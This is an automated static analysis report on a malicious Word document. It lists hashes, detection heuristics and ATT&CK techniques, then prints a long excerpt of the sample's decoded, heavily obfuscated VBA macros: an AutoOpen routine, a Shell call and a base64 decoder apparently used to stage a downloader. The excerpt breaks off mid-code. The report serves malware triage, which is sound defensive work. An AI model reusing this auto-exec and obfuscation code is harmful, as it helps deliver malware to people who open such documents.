Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 340d9bb0dfc28da7…

MALICIOUS

Office (OLE)

266.5 KB Created: 2017-06-26 16:41:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: cc5696ec305f4b314fbe9fc44fe381c8 SHA-1: a5aba993eb0a374f1c6e8cc7b99fbd7b7af662d6 SHA-256: 340d9bb0dfc28da7eac433513b81dbafb586a4871f65c488f934e059dbc15b29
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing obfuscated VBA macros, as indicated by the 'OLE_VBA_MACROS' and 'OLE_LEGACY_WORDBASIC_AUTOEXEC' heuristics. The 'OLE_VBA_SHELL' heuristic and ClamAV detection ('Doc.Macro.Obfuscation-6331107-0') strongly suggest malicious intent. The VBA script's obfuscation and use of 'Shell' calls point towards an attempt to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
    Shell LmpPvR, czB0dpW7y
    End Function
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "M4whLuy"
    Sub AutoOpen()
    rgsJG8f = 344 - 342
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 79318 bytes
SHA-256: 45dcca605cd233c89a115af425d245f3e2eea7a4f030ca0c6af50fcda950d60c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
908 of 1761 identifiers look randomly generated (e.g. 'cmwgaW4gJHVybHMpe3RyeXskd2ViY2xpZW50LkRv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "M4whLuy"
Sub AutoOpen()
rgsJG8f = 344 - 342
Select Case rgsJG8f
Case 144 / 72
ihiUxm4Sv = 30786.654188058
End Select
MS8iuhKZ = 344 - 342
Select Case MS8iuhKZ
Case 144 / 72
V8jZPf = BAXb6
Case 435 - 415
UJ80mO = BAXb6
Case 17340 / 289
HmG9wCe = 36135.574667683
End Select
ok0QFV = 311 + 11
If ok0QFV = 144 / 72 Then
nK0ME9 = 48510.091961972
End If
NQDbLRXG3 = NQDbLRXG3 & nK0ME9
OGTX4xf = 344 - 342
Select Case OGTX4xf
Case 144 / 72
vhkF7cZ = 36
Case 435 - 415
eCsAvNPd = 3337
Case 17340 / 289
IKyXPS = 3337
Case Else
hZR4eT = 12613.925192457
End Select
ENP5AGIk = 311 + 11
If ENP5AGIk = 144 / 72 Then
ekYNHuUES = 45087.234918439
ElseIf ENP5AGIk = 435 - 415 Then
EqJPM4fV = 45087.234918439
Else
HiOY4GJ = False
End If
aT8rlDCh = ekYNHuUES & EqJPM4fV & HiOY4GJ
NUqGhS5 = -122 + 237
Select Case NUqGhS5
Case 21896 / 5474
hfuvVWY = 7208
Case -687 + 718
efEVH4We = 25
Case 155 - 98
exBtAXO = rfjlI4D
End Select
PSYRMZof = -122 + 237
Select Case PSYRMZof
Case 21896 / 5474
VRJHs9M = 23152
Case -687 + 718
P93cvs = 23152
Case 155 - 98
nGjnY9Et = 0
End Select
WSvzZ = -122 + 237
Select Case WSvzZ
Case 21896 / 5474
s1S8aU = 30795.103613802
Case -687 + 718
OJ6UAe = True
Case 155 - 98
B4r8lcp = 30795.103613802
Case Else
dVFwZu = 234
End Select
TuB6bVk = 368 - 275
Select Case TuB6bVk
Case 78 - 64
q2Nhze = 22034
End Select
En3phrD = 368 - 275
Select Case En3phrD
Case 78 - 64
IuSMbUrJ = -23548
End Select
E3BWp = 368 - 275
Select Case E3BWp
Case 78 - 64
FD5wygq = Eholt
Case 1620 / 54
tRDaj3rBY = Eholt
Case 4032 / 64
voaLy = 56
End Select
dFNQfBGUr = 219 - 112
Select Case dFNQfBGUr
Case -1263 + 1271
IbwmeRWg = 30658.46494798
End Select
nFMxiE = 219 - 112
Select Case nFMxiE
Case -1263 + 1271
J7wfP = 106
Case 295 - 267
l9sETtSUg = 50682.833250833
Case 721 - 680
qD8HM1E5n = True
End Select
WLnDQo = 29692 / 52
If WLnDQo = -1263 + 1271 Then
niMu6xc = 49713.435510368
Else
EhV4TmIt = gJpvmh
End If
OS19ZG = niMu6xc & EhV4TmIt
ah6Xno = 29692 / 52
If ah6Xno = -1263 + 1271 Then
imlr0vwa = 132
End If
sHWZG = sHWZG & imlr0vwa
yjVumTd = -295 + 364
Select Case yjVumTd
Case -2214 + 2222
JoRl7nUiQ = 0
Case -536 + 564
MTg9sR7u = 51332.380791159
Case -564 + 611
cbVMEvO7 = Yyu5Sj
Case Else
wryRZI = True
End Select
EVenQ = 90 * 11
If EVenQ = -2214 + 2222 Then
lpxT5By = qhbWI
End If
Z0E6Jn = Z0E6Jn & lpxT5By
puVjeQc = -295 + 364
Select Case puVjeQc
Case -2214 + 2222
V0WCXnh5 = 42905.624624045
Case -536 + 564
QdrEIk = 42905.624624045
Case -564 + 611
COuRq = 20546.254503358
Case Else
SE4m17Yop = 0
End Select
QCPLUHl = -295 + 364
Select Case QCPLUHl
Case -2214 + 2222
f5eYpt = 57747.915242876
Case -536 + 564
uFcyIY = GdV62rk5
Case -564 + 611
BVjADB = 8
End Select
EmbzckB = 22152 / 52
If EmbzckB = 29584 / 14792 Then
x8VsL = False
Else
vCnMlHy4T = False
End If
ttc8TY9xy = x8VsL & vCnMlHy4T
eXyez = 21240 / 590
Select Case eXyez
Case 29584 / 14792
gAUl2 = 52223.57107418
Case 22066 / 1003
TagNc1rU = True
Case -433 + 474
cXZ1QzJ = 54231.784931339
Case Else
AmjSIB = sIc931sR
End Select
iT43ZP9Vy = 22152 / 52
If iT43ZP9Vy = 29584 / 14792 Then
fgKyq = True
ElseIf iT43ZP9Vy = 22066 / 1003 Then
xLEfd = -14491
Else
njcioMPF = 187
End If
GxeEvlh = fgKyq & xLEfd & njcioMPF
hEVzqcLh = 22152 / 52
If hEVzqcLh = 29584 / 14792 Then
MM2sZUlR = FuvyUpoI
ElseIf hEVzqcLh = 22066 / 1003 Then
nGeHZ9n3 = 55505.553127257
Else
SpTarx5 = 30905
End If
TX5UnBWM1 = MM2sZUlR & nGeHZ9n3 & SpTarx5
ylvcyekiD = 10480 / 20
If ylvcyekiD = 13284 / 1107 Then
sUbxOlF = Hc5RGx
Else
F12kSjH = Hc5RGx
End If
vM2S8w = sUbxOlF & F12kSjH
fjhL05qWp = 484 - 441
Select Case fjhL05qWp
Case 13284 / 1107
nucpU = 40366.398316812
Case -545 + 562
xzieEUH = 60841.356466592
Case 7076 / 122
s6okwO = 60841.356466592
End Select
vJsZ1nV = 10480 / 20
If vJsZ1nV = 13284 / 1107 Then
zkplx = 61349.315892559
End If
hGh4s3k = hGh4s3k & zkplx
Rl0TXm = 10480 / 20
If Rl0TXm = 13284 / 1107 Then
vG4cT = 8
ElseIf Rl0TXm = -545 + 562 Then
RLxgebGJ = 23887.019688164
Else
pesNGX0S = FVbB6hj3e
End If
taQAO = vG4cT & RLxgebGJ & pesNGX0S
wowbAgp9I = 258 + 41
If wowbAgp9I = 1388 - 1383 Then
pOq90pG7 = -10980
ElseIf wowbAgp9I = 26600 / 1064 Then
rNHrM6 = 175
Else
atLhnPY = 35086.736364777
End If
SvJHnThu = pOq90pG7 & rNHrM6 & atLhnPY
Aq5jfLl = -937 + 962
Select Case Aq5jfLl
Case 1388 - 1383
gprdX0 = 50
Case 26600 / 1064
Yi9gD = 0
End Select
SB4cfSaeL = -937 + 962
Select Case SB4cfSaeL
Case 1388 - 1383
yx27aG = 38576.516980011
End Select
uOV3lnZD = 374 - 36
If uOV3lnZD = 7836 / 653 Then
HnExYBky = -1439233582
Else
GaEK9 = 29584
End If
WzjvqQ0V = HnExYBky & GaEK9
J9Nzk6B = 374 - 36
If J9Nzk6B = 7836 / 653 Then
O7n8RwDP = GgWQyG
Else
WNAn6S = 31072
End If
fBU7qC = O7n8RwDP & WNAn6S
RWNlAdTDM = 374 - 36
If RWNlAdTDM = 7836 / 653 Then
SikDNTz = 19219.256741023
ElseIf RWNlAdTDM = -51 + 76 Then
j0saTi = 67
Else
tVGX0E = -19271
End If
DhlJ7 = SikDNTz & j0saTi & tVGX0E
I06pQ = 88 + 12
Select Case I06pQ
Case 7836 / 653
q5NpirhL = eyOiv9R
Case -51 + 76
fP3T9Kd = eyOiv9R
Case 545 - 490
JaxTb = 62
Case Else
Uu5HN = 18920.901117048
End Select
ct97RE = 105 + 11
Select Case ct97RE
Case -452 + 462
H70ksTWUG = 45365.359710428
Case -1361 + 1377
QtjJKU = -20507
End Select
NputSMoQ = 105 + 11
Select Case NputSMoQ
Case -452 + 462
i7Sszat1 = -909675618
Case -1361 + 1377
tHqNZgw3 = -7308
Case 502 - 443
kE3tM = -7308
End Select
DXrQ4 = 3498 / 11
If DXrQ4 = -452 + 462 Then
UgD87aYNV = -30054
End If
W80bvt2 = W80bvt2 & UgD87aYNV
sJnj4LlMi = 14326 / 19
If sJnj4LlMi = -2672 + 2679 Then
zYwlJzKn = 26
End If
chJT8t = chJT8t & zYwlJzKn
mDcNep = 24420 / 220
Select Case mDcNep
Case -2672 + 2679
TvhKX = False
End Select
ChQj1SvEI = 14326 / 19
If ChQj1SvEI = -2672 + 2679 Then
OSo2nR = 41317.844975724
Else
xovyB = 0
End If
oJb74enP9 = OSo2nR & xovyB
e2NCB = 24420 / 220
Select Case e2NCB
Case -2672 + 2679
BPd5mtO = False
Case 30856 / 1102
ZCyzAWr9 = 36936.079167702
Case 234 - 180
oUPBcm = 30345
Case Else
HcXIj = 32761.431207107
End Select
sLrg5OU = 170 - 153
Select Case sLrg5OU
Case 4242 / 303
QQ49zrMdS = nmFRb5v
End Select
DOw4G = 170 - 153
Select Case DOw4G
Case 4242 / 303
GPY5fuet = 0
Case -1206 + 1223
h0V5K = 155
End Select
UNe6ioh = 170 - 153
Select Case UNe6ioh
Case 4242 / 303
F8dva = -981070506
Case -1206 + 1223
dD3ilQOI = True
Case -260 + 303
xdhpXcOa = True
Case Else
EpntL = -981070506
End Select
Fzkyu0T = 739 - 44
If Fzkyu0T = 24996 / 6249 Then
gjeGQW = 62303.542111183
End If
ofHis6O = ofHis6O & gjeGQW
avJ7iQh = -194 + 297
Select Case avJ7iQh
Case 24996 / 6249
L9InfLm = True
Case -623 + 649
k2O73uXP4 = 18845.443587201
Case 473 - 410
Z78Ww = -14909
Case Else
vmjW7HiPK = -14909
End Select
dKmc2hV = -194 + 297
Select Case dKmc2hV
Case 24996 / 6249
lgkpEP = 55728.448902083
Case -623 + 649
oy1kLXZU = cbMT4fk1
Case 473 - 410
UJf0chPaw = 55728.448902083
Case Else
V2tfmMr = -4849
End Select
HicmIbU = 739 - 44
If HicmIbU = 24996 / 6249 Then
IMZjg = 15
ElseIf HicmIbU = -623 + 649 Then
lxRD4ZeI = False
Else
Ri7VnkWg = 15
End If
CK3XAMwW = IMZjg & lxRD4ZeI & Ri7VnkWg
ijvXqR = 5056 / 632
Select Case ijvXqR
Case -548 + 550
T69wR = 14774.139694583
Case 8924 / 388
ExGhLwi = 16801.501483962
Case 18048 / 376
D1Bql4Ec = 14774.139694583
End Select
IcGiA = 5056 / 632
Select Case IcGiA
Case -548 + 550
FcihZx = 0
Case 8924 / 388
oXgja = True
Case 18048 / 376
MxymNM = 11
Case Else
jKdCwPS9E = 597.10380480838
End Select
FS91F = 5056 / 632
Select Case FS91F
Case -548 + 550
Z81tWv = 0
Case 8924 / 388
p9DgzqCi = 35167.488522231
End Select
swJD1a = 5056 / 632
Select Case swJD1a
Case -548 + 550
lBfdQ = 57256.668605557
Case 8924 / 388
Wa87ufB = 0
Case 18048 / 376
jTfWgVO = oLIQF
Case Else
lMiNa4Su = 32399.666667371
End Select
J54Bwf
MM9AP6fZ = 5588 / 44
Select Case MM9AP6fZ
Case 11284 / 806
C649cgIUv = -24919
Case 9240 / 308
J5JkQwU = 60432.06372013
End Select
NJsZjn = 926 + 16
If NJsZjn = 11284 / 806 Then
uu0pN = 46474.924963111
ElseIf NJsZjn = 9240 / 308 Then
Xzvd2yBa = 76
Else
h3P6Z = 3505
End If
U6xgET8 = uu0pN & Xzvd2yBa & h3P6Z
iHc1oKW = 926 + 16
If iHc1oKW = 11284 / 806 Then
FC1JkWLBn = wjx93
ElseIf iHc1oKW = 9240 / 308 Then
tYC3wJosN = 225
Else
MydfLej7 = 225
End If
G0Sbn = FC1JkWLBn & tYC3wJosN & MydfLej7
QDxhwkp = 926 + 16
If QDxhwkp = 11284 / 806 Then
OQjBbkdGL = -11785
End If
vy98u = vy98u & OQjBbkdGL
NY03x6Z = 5588 / 44
Select Case NY03x6Z
Case 11284 / 806
kXyjTQ3 = 10831.811040814
End Select
iNSaL4 = 25488 / 27
If iNSaL4 = 26280 / 2190 Then
NbYD5M = B8JS7UL
ElseIf iNSaL4 = 10168 / 328 Then
QduHAC = 132
Else
H753JOy = 132
End If
VVEgaZ = NbYD5M & QduHAC & H753JOy
rboz9Q = 25488 / 27
If rboz9Q = 26280 / 2190 Then
U0v31 = NtNc4k
ElseIf rboz9Q = 10168 / 328 Then
m2CjTOZ = -1999264032
Else
e1pqcxf = 27723.895632978
End If
GkAwVy6u = U0v31 & m2CjTOZ & e1pqcxf
JV5lbd = -287 + 364
Select Case JV5lbd
Case 26280 / 2190
daj2le = z8IMRm
Case 10168 / 328
HTkePM3 = z8IMRm
Case 212 - 153
tLu4HrQIY = 14183.414714096
End Select
EN0SA = -287 + 364
Select Case EN0SA
Case 26280 / 2190
uYvOS6XM = -18933
Case 10168 / 328
XHmQSZ = 244
Case 212 - 153
uoEb17j = 244
End Select
MR0sldcev = 882 + 4
If MR0sldcev = 2194 - 2180 Then
KgJfKDV = 1479.9563852373
Else
mhv0TFs = 16864
End If
X7wmUiOv2 = KgJfKDV & mhv0TFs
jcVvbx3G = 322 - 205
Select Case jcVvbx3G
Case 2194 - 2180
AaFyw = 0
Case 736 - 713
N0kTfIy3t = 53321.364960751
Case 2418 / 39
WmM0afn = -19775
End Select
PSTpd6 = 882 + 4
If PSTpd6 = 2194 - 2180 Then
Sg4TO0 = 26451.579990619
ElseIf PSTpd6 = 736 - 713 Then
et3Co = 26932.482119976
Else
uB7TMZf = 26932.482119976
End If
jtobm = Sg4TO0 & et3Co & uB7TMZf
PActslhm = 322 - 205
Select Case PActslhm
Case 2194 - 2180
klC62 = False
Case 736 - 713
vy0ef = False
Case 2418 / 39
StAgIDej = 51393.894594185
End Select

MA6fPRbG = 1458 - 1436
Select Case MA6fPRbG
Case 32658 / 5443
rWpzVOFQl = 37
Case -654 + 678
g7ywe0cz = False
Case 25300 / 506
AAhtxa2fF = -1705
End Select
HPO2Dea = 1320 - 1302
If HPO2Dea = 32658 / 5443 Then
MAMgEJRd = -6905
End If
tkA28hOR = tkA28hOR & MAMgEJRd
NqXM5fk = 1320 - 1302
If NqXM5fk = 32658 / 5443 Then
OkzyQm = 51804.374090149
End If
M4CKaTYuX = M4CKaTYuX & OkzyQm
vTvcDSCFQ = 1320 - 1302
If vTvcDSCFQ = 32658 / 5443 Then
O3tYkhK = 5924.6020338277
End If
gBgZc = gBgZc & O3tYkhK
f2Pcx = 22170 / 30
If f2Pcx = 10650 - 10647 Then
yonlON = 17190.312639319
ElseIf f2Pcx = -725 + 752 Then
P1XqQeUh = mexRFEp
Else
hB83bq5m = False
End If
t6TRIL21 = yonlON & P1XqQeUh & hB83bq5m
BrU9mlNQt = 22170 / 30
If BrU9mlNQt = 10650 - 10647 Then
B3T2CMJ = 38121.938668445
End If
YKF9tPeM = YKF9tPeM & B3T2CMJ
CvV0IfP = 217 - 114
Select Case CvV0IfP
Case 10650 - 10647
F30xN5s = False
Case -725 + 752
CiBalXT7 = 22516.499670048
Case 303 - 239
b4a0YOun = 5074.5578525947
Case Else
dsNg2a = 5074.5578525947
End Select
End Sub

Attribute VB_Name = "ozcQXf2"
Private Const ZabdLZ = 16711785 - 105
Private Const zx2g0bC = 89049 - 23769
Private Const usYV0KGc = 17595 / 69
Private Const gsCWhaxGS = 269155 - 7011
Private Const UDeW3k = 2048 * 2
Private Const wKLIF64 = 43 + 21
Private Const FXTCMgJl6 = 64 * 4
Private Const hMLhyS = 45613 + 19923
Public Function pvIafnjVs(nmf7ku As String) As String
Dim T13P0() As Byte, dVAdJv7u0() As Byte, MkLcu4Zrn(255) As Byte, O0RmpazCl(63) As Long, gG5aSF(63) As Long
Dim SQLO9MId(63) As Long, hTRqoOh As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim PYIQfNxm As Long
HIH0whBk = 22137 / 7379
Select Case HIH0whBk
Case 3810 / 762
NYhdqemGz = 16026.146075976
End Select
VaACs = 22137 / 7379
Select Case VaACs
Case 3810 / 762
HQ4zdisl = 0
Case 28161 / 1341
jypZq = 21212.259800816
Case 701 - 651
e37Kj = 239
End Select
Dg4TQzJ8H = 446 + 54
If Dg4TQzJ8H = 3810 / 762 Then
F2xoW = True
ElseIf Dg4TQzJ8H = 28161 / 1341 Then
Ef8U3 = True
Else
FLjG4a = True
End If
VZn1MyfPS = F2xoW & Ef8U3 & FLjG4a
TfY34OGKk = 446 + 54
If TfY34OGKk = 3810 / 762 Then
K0KvSnR = True
Else
eThO9n = 0
End If
e34fjdG = K0KvSnR & eThO9n
L0Gij = 22137 / 7379
Select Case L0Gij
Case 3810 / 762
FaKT4L = 116
Case 28161 / 1341
s27AD = RRtHoOk
Case 701 - 651
jdi0yE2f = RRtHoOk
End Select
qB4rSe2O = 26657 / 437
Select Case qB4rSe2O
Case 1683 - 1669
sldjoYD = False
Case -827 + 844
AhWYRd = 0
End Select
xDNVR8 = 26657 / 437
Select Case xDNVR8
Case 1683 - 1669
VUJ62fhmq = -21706
Case -827 + 844
AD7vU3tCM = RXSHLFAM
Case 2132 / 41
gVuJfUWm = RXSHLFAM
Case Else
cXUMJeLy = 25575.790168822
End Select
pBXQ4 = 7230 / 723
If pBXQ4 = 1683 - 1669 Then
JptY2 = 10765
Else
ju8Gqjy = 4551.5239186899
End If
j1kK6n = JptY2 & ju8Gqjy
Cab1I = 7230 / 723
If Cab1I = 1683 - 1669 Then
TivSQ3Fgz = 0
ElseIf Cab1I = -827 + 844 Then
dHXpIm7Br = eHQDi
Else
HRA2l0Vm = 1271
End If
OOyC9 = TivSQ3Fgz & dHXpIm7Br & HRA2l0Vm
VuDFwx0 = 26657 / 437
Select Case VuDFwx0
Case 1683 - 1669
iGEMOVP25 = EihYAUgVI
Case -827 + 844
jLdFbVg = 3504
Case 2132 / 41
R3TJRhEc = 62993.782604682
Case Else
a0QnvckRi = 3504
End Select
fTulLs = 214 - 91
Select Case fTulLs
Case -5333 + 5337
IQpa6X = 6564.6242370642
Case -1491 + 1511
cJqctBk = 152
Case -358 + 399
lwNn2 = False
Case Else
eFrZtXl = -1826102424
End Select
fjcdNYlO = 214 - 91
Select Case fjcdNYlO
Case -5333 + 5337
C3vRJe2MN = True
End Select
G6D4OG5 = 214 - 91
Select Case G6D4OG5
Case -5333 + 5337
rJr8jiR = False
End Select
jN8oqtaQ = 214 - 91
Select Case jN8oqtaQ
Case -5333 + 5337
vlLUtedpg = True
End Select
nmf7ku = Replace(nmf7ku, vbCr, vbNullString)
Bb5zuNwT = 30576 / 294
If Bb5zuNwT = 998 - 988 Then
wzW30KH = 16471.3913693
End If
OSpQ1at5 = OSpQ1at5 & wzW30KH
B9NntuEwJ = -250 + 338
Select Case B9NntuEwJ
Case 998 - 988
pgPSuf8p9 = 53970.289128005
Case 790 - 762
YiM3HtaVp = True
End Select
Cxhfb2IQ = -250 + 338
Select Case Cxhfb2IQ
Case 998 - 988
it1kT = 8199.57330241
Case 790 - 762
lTtrACi4 = False
Case -450 + 507
kOSfrP = False
Case Else
X2cmAs = 41831.851459242
End Select
EySoqs = -250 + 338
Select Case EySoqs
Case 998 - 988
YSe47ZO = 0
End Select
g7MQFSj = -310 + 351
Select Case g7MQFSj
Case 3926 - 3920
zXpimT = 49616.200968472
Case 15428 / 812
bOEGrtY = g3xnty
End Select
Z2RXkaQqH = -310 + 351
Select Case Z2RXkaQqH
Case 3926 - 3920
CIHZX = EGXEtBHvL
Case 15428 / 812
OOJQdq2z = 49074.898544518
Case -382 + 426
IJkbq90nN = 173
End Select
JsobPecr = -310 + 351
Select Case JsobPecr
Case 3926 - 3920
wP9ed = 4736.8611225327
Case 15428 / 812
csIFWz = -2336
Case -382 + 426
efKvm = 4736.8611225327
Case Else
RVaNUd = 48
End Select
gDtJq52p3 = -153 + 264
Select Case gDtJq52p3
Case 4117 - 4111
le90yOvqJ = 95
Case 16236 / 738
xWjQPr1 = oqzk2VL
End Select
dZ0N7 = 29915 / 31
If dZ0N7 = 4117 - 4111 Then
h9Ny1tr = True
ElseIf dZ0N7 = 16236 / 738 Then
VqvK6OY = 35905.203481819
Else
I6UskpzXn = True
End If
ed1Ou6fM = h9Ny1tr & VqvK6OY & I6UskpzXn
FUVs52aS = -153 + 264
Select Case FUVs52aS
Case 4117 - 4111
wzKht = 0
Case 16236 / 738
wcK4fzPi = 214
End Select
nmf7ku = Replace(nmf7ku, vbLf, vbNullString)
Ed56X8jKD = 31490 / 335
Select Case Ed56X8jKD
Case 13610 / 1361
Nig0J8 = 0
End Select
odW63l = 630 - 56
If odW63l = 13610 / 1361 Then
igLz8q = 0
End If
r97uPt3M = r97uPt3M & igLz8q
xIQK5D = 630 - 56
If xIQK5D = 13610 / 1361 Then
Kt7WDJbN4 = 26259.559752584
ElseIf xIQK5D = 1124 - 1104 Then
SM1Nse = 0
Else
x52Ew4F = 0
End If
CgmlPAO1 = Kt7WDJbN4 & SM1Nse & x52Ew4F
VXMNCDf1 = 31490 / 335
Select Case VXMNCDf1
Case 13610 / 1361
HCnkja = 15276
Case 1124 - 1104
b0mDtZ = 35710.016574489
Case 27450 / 549
InPwG = -1601427560
End Select
krRbFL63f = 31490 / 335
Select Case krRbFL63f
Case 13610 / 1361
ldCr0L = 140
End Select
W0TBu9h = 68 + 30
Select Case W0TBu9h
Case 615 - 600
k1YVgL = 65405.991193298
Case -696 + 720
LEJdOs1 = 21737.787135463
End Select
DYEhH = 68 + 30
Select Case DYEhH
Case 615 - 600
MVmgnr = 31263
Case -696 + 720
njNWrpK = 0
Case 2960 / 80
vm8kM = 31263
Case Else
QlkwvZK = 31263
End Select
GgIHAK8t = 68 + 30
Select Case GgIHAK8t
Case 615 - 600
syoFOBc4 = True
Case -696 + 720
cGHJe47 = 50501.889412688
End Select
lgrB18zK7 = 4760 / 5
If lgrB18zK7 = 615 - 600 Then
P74OrUHD = 23550.203346304
ElseIf lgrB18zK7 = -696 + 720 Then
zHsfX = -2100563638
Else
YuaQUm8fN = 93
End If
ZaiOGIutV = P74OrUHD & zHsfX & YuaQUm8fN
fJHcF1Sk = 13260 / 30
If fJHcF1Sk = 1906 - 1892 Then
yhW1Ts = 14950
Else
RPtGT1L = 4913.9503746137
End If
GETyGds = yhW1Ts & RPtGT1L
dzRJOB6 = 13260 / 30
If dzRJOB6 = 1906 - 1892 Then
gjace = 19245.126097963
Else
jNzT6At5 = True
End If
mgqn26Ioh = gjace & jNzT6At5
fS5dux = 6935 - 6931
Select Case fS5dux
Case 1906 - 1892
Zgl4SvLm = True
Case 30400 / 1520
YlSIv3 = 87
Case 512 - 453
BzQx1y = BGVF5s
Case Else
ML5eqgWd = 87
End Select
PYIQfNxm = Len(nmf7ku) Mod 4
z2lrAT = 21238 / 518
Select Case z2lrAT
Case 4152 / 692
B94ycGd = 62157.012909976
Case 508 - 477
ouD2SEKH = 123
End Select
lvuoM = 21238 / 518
Select Case lvuoM
Case 4152 / 692
BwnysIbp = cbTdV4P
Case 508 - 477
ttDFz7Xs = 12551.095064266
Case 547 - 484
QhD5Admsx = -29615
Case Else
TmJyExS = False
End Select
V4UQE = 21238 / 518
Select Case V4UQE
Case 4152 / 692
k9lPEHdU = 0
End Select
Gqv3xJZWy = 21238 / 518
Select Case Gqv3xJZWy
Case 4152 / 692
frHAs = -8304618
End Select
cmWrs3O = 21238 / 518
Select Case cmWrs3O
Case 4152 / 692
Pdq8hED = 58533.214896367
End Select
q0S6QRyK = 8072 / 8
If q0S6QRyK = -973 + 988 Then
zaPUBmkY = 51751.801648733
ElseIf q0S6QRyK = -412 + 433 Then
TY05eRH = i9gNa
Else
a8Kwu = True
End If
FXKjMQkF = zaPUBmkY & TY05eRH & a8Kwu
SBuxMqd = 8072 / 8
If SBuxMqd = -973 + 988 Then
Gkd7r69x = -2891
Else
KUuorOC = -2891
End If
aLbwikE5 = Gkd7r69x & KUuorOC
MGLXa = 1716 / 26
Select Case MGLXa
Case -973 + 988
OEXeoS = -15959114
Case -412 + 433
POREK1p = duhV5tj
Case 168 - 111
QtfmP2nu = duhV5tj
End Select
HtidqSR = 401 - 355
Select Case HtidqSR
Case 23205 / 1547
oKf8MD = 50104.398610485
End Select
SjFpd = 22881 / 29
If SjFpd = 23205 / 1547 Then
ARYSVJxlt = 46861.711155415
ElseIf SjFpd = 15593 / 503 Then
jhSG3lu = 54652.91831776
Else
ZVubI46FX = -1382033790
End If
seVSs8oFD = ARYSVJxlt & jhSG3lu & ZVubI46FX
ozO6cwNDg = 401 - 355
Select Case ozO6cwNDg
Case 23205 / 1547
yQJh6gXZ0 = 14962.308520334
End Select
ObTD1Zg = 401 - 355
Select Case ObTD1Zg
Case 23205 / 1547
jf2eb = 0
End Select
TVnvihF = 401 - 355
Select Case TVnvihF
Case 23205 / 1547
qZOT83Ji = False
Case 15593 / 503
z0KsP = 41944.311996025
End Select
If InStrRev(nmf7ku, "==") Then
sKSHCvz8G = 3 * 83
If sKSHCvz8G = 27008 / 1688 Then
rTgEHGU = 39762.137409689
ElseIf sKSHCvz8G = 1016 - 999 Then
ZQS03W = 255
Else
Bt4KkP60c = 36678.277644035
End If
oZv76y = rTgEHGU & ZQS03W & Bt4KkP60c
blH4B = 3 * 83
If blH4B = 27008 / 1688 Then
ZWwMYi = 60260.935314754
Else
l7osPg2 = kbdu1n5Lx
End If
Yuj8doPS = ZWwMYi & l7osPg2
szSfURB = 3 * 83
If szSfURB = 27008 / 1688 Then
BFqk7W2S1 = 6493.5389245553
End If
xlkyuPLC7 = xlkyuPLC7 & BFqk7W2S1
v29PNa08 = 81 - 2
Select Case v29PNa08
Case 27008 / 1688
IR3Zqgd = 18
Case 1016 - 999
ecTJ2 = 7933.6398530458
Case 567 - 506
AwkSf = vPv0y3KE
…